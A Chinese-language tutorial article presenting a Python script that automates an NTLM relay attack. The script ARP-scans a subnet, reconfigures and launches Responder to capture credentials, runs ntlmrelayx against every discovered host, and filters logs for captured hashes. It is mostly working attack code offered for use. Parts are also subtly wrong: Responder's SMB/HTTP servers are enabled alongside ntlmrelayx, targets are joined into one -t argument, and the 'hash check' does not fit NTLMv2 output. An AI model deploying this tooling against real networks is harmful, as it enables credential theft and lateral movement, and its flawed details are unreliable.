当前位置：首页 > article >正文

实现NTLM relay攻击工具的Python代码示例

article 2025/3/18 20:10:37

以下是一个实现NTLM relay攻击工具的Python代码示例，该工具可以完成自动扫描IP、配置相关协议、获取hash、自动化设置和执行攻击步骤等功能。

代码思路

IP扫描：使用scapy库进行IP扫描，找出活跃的IP地址。
Responder配置：自动配置Responder工具，监听指定的协议。
攻击执行：使用ntlmrelayx工具执行NTLM relay攻击。
日志处理：记录每个步骤的日志和错误信息，并进行过滤。
Hash验证：验证获取到的hash的有效性。

代码实现

import subprocess
import ipaddress
from scapy.all import ARP, Ether, srp
import re

# 自动扫描Domain IP
def scan_ip_range(ip_range):
    arp = ARP(pdst=ip_range)
    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    packet = ether/arp
    result = srp(packet, timeout=3, verbose=0)[0]

    clients = []
    for sent, received in result:
        clients.append({'ip': received.psrc, 'mac': received.hwsrc})
    return clients

# 自动化Responder设置
def setup_responder():
    try:
        # 配置Responder监听SMB、HTTP、HTTPS协议
        with open('/etc/responder/Responder.conf', 'r') as f:
            lines = f.readlines()

        with open('/etc/responder/Responder.conf', 'w') as f:
            for line in lines:
                if line.startswith('SMB ='):
                    f.write('SMB = On\n')
                elif line.startswith('HTTP ='):
                    f.write('HTTP = On\n')
                elif line.startswith('HTTPS ='):
                    f.write('HTTPS = On\n')
                else:
                    f.write(line)

        # 启动Responder
        responder_process = subprocess.Popen(['responder', '-I', 'eth0', '-rdwv'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        return responder_process
    except Exception as e:
        print(f"Responder设置出错: {e}")
        return None

# 自动化攻击过程
def perform_ntlm_relay(target_ips):
    try:
        target_ips_str = ' '.join(target_ips)
        ntlmrelayx_process = subprocess.Popen(['ntlmrelayx.py', '-t', target_ips_str, '-smb2support'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        return ntlmrelayx_process
    except Exception as e:
        print(f"NTLM relay攻击出错: {e}")
        return None

# 验证hash的有效性
def validate_hash(hash_str):
    # 简单的验证，检查是否符合常见的hash格式
    if re.match(r'^[0-9a-fA-F]{32}$', hash_str):
        return True
    return False

# 过滤输出日志信息
def filter_logs(logs):
    filtered_logs = []
    for log in logs:
        if "NTLMv2" in log or "HASH" in log:
            filtered_logs.append(log)
    return filtered_logs

# 主函数，整合所有功能
def main():
    print("开始自动配置工具...")
    # 自动扫描Domain IP
    ip_range = "192.168.1.0/24"  # 可根据实际情况修改
    print(f"开始扫描IP范围: {ip_range}")
    clients = scan_ip_range(ip_range)
    target_ips = [client['ip'] for client in clients]
    print(f"扫描到的活跃IP地址: {target_ips}")

    # 自动化Responder设置
    print("开始配置Responder...")
    responder_process = setup_responder()
    if responder_process:
        print("Responder已启动")

    # 自动化攻击过程
    print("开始执行NTLM relay攻击...")
    ntlmrelayx_process = perform_ntlm_relay(target_ips)
    if ntlmrelayx_process:
        print("NTLM relay攻击已启动")

        # 显示每个步骤的日志和错误信息
        print("开始记录日志...")
        logs = []
        while True:
            output = ntlmrelayx_process.stdout.readline()
            if output == b'' and ntlmrelayx_process.poll() is not None:
                break
            if output:
                log = output.strip().decode('utf-8')
                logs.append(log)
                print(log)

        # 过滤输出日志信息
        filtered_logs = filter_logs(logs)
        print("过滤后的日志信息:")
        for log in filtered_logs:
            # 验证hash的有效性
            if "HASH" in log:
                hash_str = log.split("HASH: ")[1].split()[0]
                if validate_hash(hash_str):
                    print(f"有效hash: {hash_str}")
                else:
                    print(f"无效hash: {hash_str}")
            print(log)

if __name__ == "__main__":
    main()

代码说明

IP扫描：scan_ip_range函数使用scapy库发送ARP请求，找出指定IP范围内的活跃IP地址。
Responder配置：setup_responder函数修改Responder配置文件，监听SMB、HTTP、HTTPS协议，并启动Responder工具。
攻击执行：perform_ntlm_relay函数使用ntlmrelayx工具执行NTLM relay攻击。
日志处理：filter_logs函数过滤输出日志信息，只保留包含NTLMv2或HASH的日志。
Hash验证：validate_hash函数验证获取到的hash是否符合常见的hash格式。